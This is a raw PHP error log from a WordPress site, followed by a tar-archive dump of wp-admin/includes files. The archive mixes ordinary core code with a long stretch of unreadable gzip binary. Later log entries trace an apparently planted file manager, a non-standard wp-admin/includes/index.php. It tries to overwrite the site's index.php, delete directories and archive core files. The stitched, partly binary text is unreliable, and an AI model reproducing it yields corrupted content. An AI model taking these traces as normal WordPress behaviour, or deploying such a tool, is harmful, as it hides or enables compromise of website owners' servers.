[16-Aug-2024 12:34:12 UTC] PHP Fatal error:  Uncaught Error: Class "Walker_Nav_Menu" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-walker-nav-menu-edit.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-walker-nav-menu-edit.php on line 17
[16-Aug-2024 12:34:16 UTC] PHP Fatal error:  Uncaught Error: Class "Automatic_Upgrader_Skin" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ajax-upgrader-skin.php:19
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ajax-upgrader-skin.php on line 19
[16-Aug-2024 12:34:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-application-passwords-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-application-passwords-list-table.php on line 17
[16-Aug-2024 12:35:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-comments-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-comments-list-table.php on line 17
[16-Aug-2024 12:36:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Filesystem_Base" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-direct.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-direct.php on line 16
[16-Aug-2024 12:36:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Filesystem_Base" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-ftpext.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-ftpext.php on line 16
[16-Aug-2024 12:36:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Filesystem_Base" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-ftpsockets.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-ftpsockets.php on line 16
[16-Aug-2024 12:36:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Filesystem_Base" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-ssh2.php:36
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-filesystem-ssh2.php on line 36
[16-Aug-2024 12:37:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-links-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-links-list-table.php on line 17
[16-Aug-2024 12:37:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-list-table-compat.php:15
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-list-table-compat.php on line 15
[16-Aug-2024 12:38:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-media-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-media-list-table.php on line 17
[16-Aug-2024 12:38:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ms-sites-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ms-sites-list-table.php on line 17
[16-Aug-2024 12:38:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ms-themes-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ms-themes-list-table.php on line 17
[16-Aug-2024 12:38:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ms-users-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-ms-users-list-table.php on line 17
[16-Aug-2024 12:38:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-plugin-install-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-plugin-install-list-table.php on line 17
[16-Aug-2024 12:39:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-plugins-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-plugins-list-table.php on line 17
[16-Aug-2024 12:39:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Comments_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-post-comments-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-post-comments-list-table.php on line 17
[16-Aug-2024 12:40:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-posts-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-posts-list-table.php on line 17
[16-Aug-2024 12:40:21 UTC] PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php:11
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php on line 11
[16-Aug-2024 12:40:59 UTC] PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php:11
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php on line 11
[16-Aug-2024 12:41:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-privacy-requests-table.php:10
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-privacy-requests-table.php on line 10
[16-Aug-2024 12:42:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-terms-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-terms-list-table.php on line 17
[16-Aug-2024 12:42:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Themes_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-theme-install-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-theme-install-list-table.php on line 17
[16-Aug-2024 12:42:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-themes-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-themes-list-table.php on line 17
[16-Aug-2024 12:42:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-upgrader-skins.php:11
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-upgrader-skins.php on line 11
[16-Aug-2024 12:43:11 UTC] PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-upgrader.php:13
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-upgrader.php on line 13
[16-Aug-2024 12:43:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-users-list-table.php:17
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/class-wp-users-list-table.php on line 17
[16-Aug-2024 12:43:45 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function __() in /home/natiycxt/crestassured.com/wp-admin/includes/continents-cities.php:12
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/continents-cities.php on line 12
[16-Aug-2024 12:44:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Privacy_Data_Export_Requests_List_Table" not found in /home/natiycxt/crestassured.com/wp-admin/includes/deprecated.php:1535
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/deprecated.php on line 1535
[16-Aug-2024 12:44:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function __() in /home/natiycxt/crestassured.com/wp-admin/includes/edit-tag-messages.php:14
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/edit-tag-messages.php on line 14
[16-Aug-2024 12:45:48 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function __() in /home/natiycxt/crestassured.com/wp-admin/includes/file.php:16
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/file.php on line 16
[16-Aug-2024 12:47:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function is_network_admin() in /home/natiycxt/crestassured.com/wp-admin/includes/menu.php:9
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/menu.php on line 9
[16-Aug-2024 12:47:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/natiycxt/crestassured.com/wp-admin/includes/ms-admin-filters.php:11
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/ms-admin-filters.php on line 11
[16-Aug-2024 12:48:39 UTC] PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/natiycxt/crestassured.com/wp-admin/includes/nav-menu.php:11
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/nav-menu.php on line 11
[16-Aug-2024 12:51:02 UTC] PHP Fatal error:  Uncaught Error: Call to a member function get_charset_collate() on null in /home/natiycxt/crestassured.com/wp-admin/includes/schema.php:23
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/schema.php on line 23
[16-Aug-2024 12:51:50 UTC] PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/natiycxt/crestassured.com/wp-admin/includes/template.php:12
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/template.php on line 12
[16-Aug-2024 12:53:23 UTC] PHP Fatal error:  Uncaught Error: Undefined constant "WP_CONTENT_DIR" in /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php:12
Stack trace:
#0 {main}
  thrown in /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php on line 12
[21-Jun-2025 06:21:21 UTC] PHP Warning:  rmdir(/home/natitnen/crestassured.com/.tmb): Permission denied in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 213
[21-Jun-2025 06:21:24 UTC] PHP Warning:  rmdir(/home/natitnen/crestassured.com/.tmb): Permission denied in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 213
[21-Jun-2025 06:21:30 UTC] PHP Warning:  rmdir(/home/natitnen/crestassured.com/.tmb): Permission denied in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 213
[21-Jun-2025 06:21:33 UTC] PHP Warning:  rmdir(/home/natitnen/crestassured.com/.well-known): Permission denied in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 213
[21-Jun-2025 06:21:41 UTC] PHP Warning:  move_uploaded_file(/home/natitnen/crestassured.com/index.php): Failed to open stream: Permission denied in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1640
[21-Jun-2025 06:21:41 UTC] PHP Warning:  move_uploaded_file(): Unable to move &quot;/tmp/phpEUgBR5&quot; to &quot;/home/natitnen/crestassured.com/index.php&quot; in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1640
[26-Jun-2025 21:13:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[26-Jun-2025 23:52:33 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 03:03:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/includes/index.php:1788
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1788): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1788
[27-Jun-2025 04:43:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 04:58:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/includes/media.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/includes/index.php:1788
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1788): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1788
[27-Jun-2025 05:03:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 05:03:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/includes/class-wp-debug-data.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/includes/index.php:1788
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1788): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1788
[27-Jun-2025 05:53:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 06:42:01 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 07:02:43 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 07:03:04 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 08:32:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/includes/class-wp-list-table-compat.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/includes/index.php:1788
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1788): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1788
[27-Jun-2025 09:49:01 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 10:23:46 UTC] PHP Warning:  Undefined variable $ext in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1788
[27-Jun-2025 10:39:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function listOfFilesInBackupize() in /home/natitnen/crestassured.com/wp-admin/includes/index.php:359
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1078): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 359
[27-Jun-2025 12:04:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/natitnen/crestassured.com/wp-admin/includes/class-wp-filesystem-base.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/natitnen/crestassured.com/wp-admin/includes/index.php:1788
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/includes/index.php(1788): PharData->compress()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/includes/index.php on line 1788
class-bulk-theme-upgrader-skin.php000064400000004425150275632050013200 0ustar00<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Theme info.
	 *
	 * The Theme_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the Theme_Upgrader::theme_info() method,
	 * which in turn calls the wp_get_theme() function.
	 *
	 * @var WP_Theme|false The theme's info object, or false.
	 */
	public $theme_info = false;

	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Theme name, 2: Number of the theme, 3: Total number of themes being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Theme %1$s (%2$d/%3$d)' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->theme_info->display( 'Name' ) );
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->theme_info->display( 'Name' ) );
		$this->decrement_update_count( 'theme' );
	}

	/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'themes_page'  => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Go to Themes page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
			unset( $update_actions['themes_page'] );
		}

		/**
		 * Filters the list of action links available following bulk theme updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param WP_Theme $theme_info     Theme object for the last-updated theme.
		 */
		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
class-wp-theme-install-list-table.php.php.tar.gz000064400000010421150275632050015605 0ustar00��[{s�F�Ͽҧ���!��C��dK��:�Z_��-�V����PDX(Z���_��@I��{�[F*29�����_���l�'iX�e��ɼЦ�Y:ϳ�d���h��8�'�H��<����K�ң8�	I2JbS��p��q�̿�x�y����s@ϣo����'G�>9ztx�ڏ�<Q���Y�,��X��s�Ե;y�pW=T?��*Q���8V=.P��r�@v�p��p~^j�׬�������v����,-K�LJ�G���|��Z&�g�PWk�#Uf*^�	���*�M��7qz��u3w�
�bC��+q���-��m�}���t�P������Y���B�%&��*,��f��zq�;�F��7U�,K�aRM\��9JJ�?���C��t��wvd�|] ��W�E˦�`��I6�E�=���:@C([���c�=<{9(3�q���5H��X'Q�E�NJ�e�y���A\ꕩ6��uq��W�gVc�o;%��꣘w�������=���&@o����D{�4@��Ը�gtX̗A���Q���>��T���/�@��ҫ�r{������.��M�-ҥ=�'Ç2K��.
8[�lt�E�;�g��[k��9)�[�9n��W�!�w�d���[��}�B�ھ%k����elF�ι�Pgu�0�x	��t��r0l�A�����D��4���O�?0j���Kj2�l�*08�éC�C���W(���G �Y�j��d��ç���7�4�N�����nPP/�A��[�V�נ�WTv�knQ.k">��=���m�j��9y����@�2�\Z�SdB�7�G5���аm�:���a饞��Jn�k��'��4K�ٯRȴ>zr�Y��0��/aG*$B,�ƣL�Y���5��/�����R>S���à�S���k�� �T���bȃ���y��#eZ����gdd���a��'��"�}�y��Q���U+˴5Z�I���2�t:&zLT�����f��J����ʗ��=*�2�X���r��n�`rҥ��E�FQz����f�ktMFAl�[�F�`yet��%F��4\�E�4���!��Y�~�O񯿒��
�n4o����_c_��r�з}��*��_Z��•���q�{aqY�G���sxj�w�;�s�|�>
s�/��B�ca�=8=��C��}c�R�͊�v��A��ٶ�U�8��
��B��4Җ���ex)K�`�P��*�q(3a���uu��D���
^=��#
������v2�\fE���ދi�^�s���'�Ѝ�J5�H��N�o.Ӟ)���B<��(
�uz�DKF�b���L�{C��PصE2�V�e���mH;��b�r�ڠ$�r������[��	q��E��
!��;$T
�,�J0�K
1v�B�l��W��r�:���&
W�� ̜-��.��JA@�w��!�����1B�6Ubr
��11&0-�a;��H���i���%� һ�ΰ���P�DzM�{��o�H�];�>�{�G�J��،.\Ր�T�DK�(ٻ��_�>�{v�(���sJ'��1,&D�d���Ʀ�c���E�ARA*��Q���$?�C
����ix
)H� �;��
��j	6<��c��մg��8��DžF�FW����B��/�uv�y����e���A��S��p���6ɘ�q�w�e
���D��~!(����ۦ�J|R�e���8�y�%	�xԽϱ��;��4�����cf�)����d��z��]e�{TD34޲Ud%��3���Xo,k��U!E ?? U�;%o:�A
�����~_V�˥���2�����3�zl��.�J��*%
4d0]x�.�}Qi�tRA2�Lڥ��0�2/�$��2^��"��$N��G�k*�;�4�(a�h�`�O�pZ�Hɛ�"*[i�6T��^�8�Q�� ���YZ��EM�+�ukM�����f k��3�wN�;�I c���F#�$��?;�?'Q|��i����װ�\�D�x� ��L�(m��Cv��J`�¿��iWJT+#��̲�i�
�F��!,����&&����Z��=Zn�Sb-3f��<�@�S�‹#�u'��'5wk����e��Y|�a�L��gYYf��[�n>���О8�
�3��n�O�8�g�g��G�٩[Z�Q��(�mP-�*��-<�X��V˫�p��N��f����sp�?C9�"[�}V�qV\"�~Z;#��K���i+�s*�ˎٵ��3����!$p�A�����!d�n���?P�h���)P0�bĬǗ.6�n�3�)��R&Y_�Ha�%U
���B�A;�I��u8>�:���#҈��V:�/���vn�Bc����U�~����,��O&GG��
H?'駺�l�2f��D�U���pM4�573iH���`���.��f^�W3��Ҝb/4�*�iF$��i�L��c�Ζ�JS�ٕ�m�4;�KAНq^���RN��y�&ExLP�����v�x�->��M��u�뜠�Z�-ن��)։��6v��-�c
�2��w�䞭s)G�bY��
s����[K�eOE�	ֹL��s1�����������}8|�G�bF��H2�Ψ�s�f"H�Q��H���]AC�{7(.�zߞ-�{W�;{] �w��$�'�J86x�-Ls>�▛3W�`�-�k\I��E]n��u+�2ӫ��+�Q�XSo�:��ТI�+�4��$�~`z�̘>�>0�	�v����*�M�A�(�q�\�m?[�����aY����"�'l�|`�Xɒ��^ՙ�j�,ɭ�VAȭ-@���`BZ;ۥn�0�|C�8Γ8n�����`��э��P!�V��Q �A�k�W{Q�k/����5���L�r�˰�5>��źy�M9�|�oRv��f�T?�>�%���$,�C����P�l�O���a�xypG���}}��R���ոê�p{�q��h���+L�Τ�$%qD�c��\q�+��_a2�p��- �Y�NCz�H�v[v�1Y��u�<U����T/��q���K��W&[Cxu��r��!�P[�������4x�gp���-�X7����A��������&���w��~����Gȅ��SgE:8�d����Г����G�G�C��?�T�R��S��K0�A����։S�PN�Ú�SśX�>�$��o�;�.��N#!k�F8ٲ��0����'���I-�Փ5�.-�L�Q\���O&���#�b�Wf騆�g�pt �C��*�J�#Ij�[���E,�y�[��7�h��#��]&��{	���u��ȑ����V�n����l[�$3��c�.�,���G9�r.��v	��4�Y���}%$�����nq����ZdY����0��d�x�$	s��0g��$GVc��b������P��(��+&�w�\S�͕G�qy��k
��+R�T�t��Lxs�"d���� �9ʨ?��cg߃�������(�/^˻«�Jw�Ȋ+�O~h|Wa�i�W��,��{z���'����9&�V��sp�Fպ*�SۼB�(8��ۀ̅'�+��v�d�f����4�U����ձ?�\nSſG��K�s�Z�]��GUp�V���D�R�x7_JO���tK�ɇ[���Oc]����V��W��k��#�_{�&�] zv�\���n�~y�,�z'��~̠��%/8wf�n�Hy��x=��9v7I�3�xQA�VBΩe�5
0�����	:�쑻�kn��"�\��ş7�N�L�;W�2̳��wx�H��WLYd饋��#��+P-���Zq��t��JB������=�t��Y�S�����@���'��2�"
��u���5�;����K'}���7j,��M��'��W�C��;m�H��E
��9���+`�̀�r�ttj�|z��"O]�l��%�V�#xW��Bo3��)��mp5�����9Սa���4m~a��1�V9`+�Y:J����sA�/\L��:^Z�d�@��]F�2b,U	���>�R���
�Ua҃�:���+b�F��~~֜7:��cS�JA<L�|@j(t׼K֯t! Pڴ�
��J̐��tb�\�t�M��,��B�<z��%O �����/ϗ����G������Dedit-tag-messages.php000064400000002706150275632050010572 0ustar00<?php
/**
 * Edit Tags Administration: Messages
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

$messages = array();
// 0 = unused. Messages start at index 1.
$messages['_item'] = array(
	0 => '',
	1 => __( 'Item added.' ),
	2 => __( 'Item deleted.' ),
	3 => __( 'Item updated.' ),
	4 => __( 'Item not added.' ),
	5 => __( 'Item not updated.' ),
	6 => __( 'Items deleted.' ),
);

$messages['category'] = array(
	0 => '',
	1 => __( 'Category added.' ),
	2 => __( 'Category deleted.' ),
	3 => __( 'Category updated.' ),
	4 => __( 'Category not added.' ),
	5 => __( 'Category not updated.' ),
	6 => __( 'Categories deleted.' ),
);

$messages['post_tag'] = array(
	0 => '',
	1 => __( 'Tag added.' ),
	2 => __( 'Tag deleted.' ),
	3 => __( 'Tag updated.' ),
	4 => __( 'Tag not added.' ),
	5 => __( 'Tag not updated.' ),
	6 => __( 'Tags deleted.' ),
);

/**
 * Filters the messages displayed when a tag is updated.
 *
 * @since 3.7.0
 *
 * @param array[] $messages Array of arrays of messages to be displayed, keyed by taxonomy name.
 */
$messages = apply_filters( 'term_updated_messages', $messages );

$message = false;
if ( isset( $_REQUEST['message'] ) && (int) $_REQUEST['message'] ) {
	$msg = (int) $_REQUEST['message'];
	if ( isset( $messages[ $taxonomy ][ $msg ] ) ) {
		$message = $messages[ $taxonomy ][ $msg ];
	} elseif ( ! isset( $messages[ $taxonomy ] ) && isset( $messages['_item'][ $msg ] ) ) {
		$message = $messages['_item'][ $msg ];
	}
}
schema.php000064400000123631150275632050006530 0ustar00<?php
/**
 * WordPress Administration Scheme API
 *
 * Here we keep the DB structure and option values.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Declare these as global in case schema.php is included from a function.
 *
 * @global wpdb   $wpdb            WordPress database abstraction object.
 * @global array  $wp_queries
 * @global string $charset_collate
 */
global $wpdb, $wp_queries, $charset_collate;

/**
 * The database character collate.
 */
$charset_collate = $wpdb->get_charset_collate();

/**
 * Retrieve the SQL for creating database tables.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $scope   Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
 * @param int    $blog_id Optional. The site ID for which to retrieve SQL. Default is the current site ID.
 * @return string The SQL needed to create the requested tables.
 */
function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
	global $wpdb;

	$charset_collate = $wpdb->get_charset_collate();

	if ( $blog_id && (int) $blog_id !== $wpdb->blogid ) {
		$old_blog_id = $wpdb->set_blog_id( $blog_id );
	}

	// Engage multisite if in the middle of turning it on from network.php.
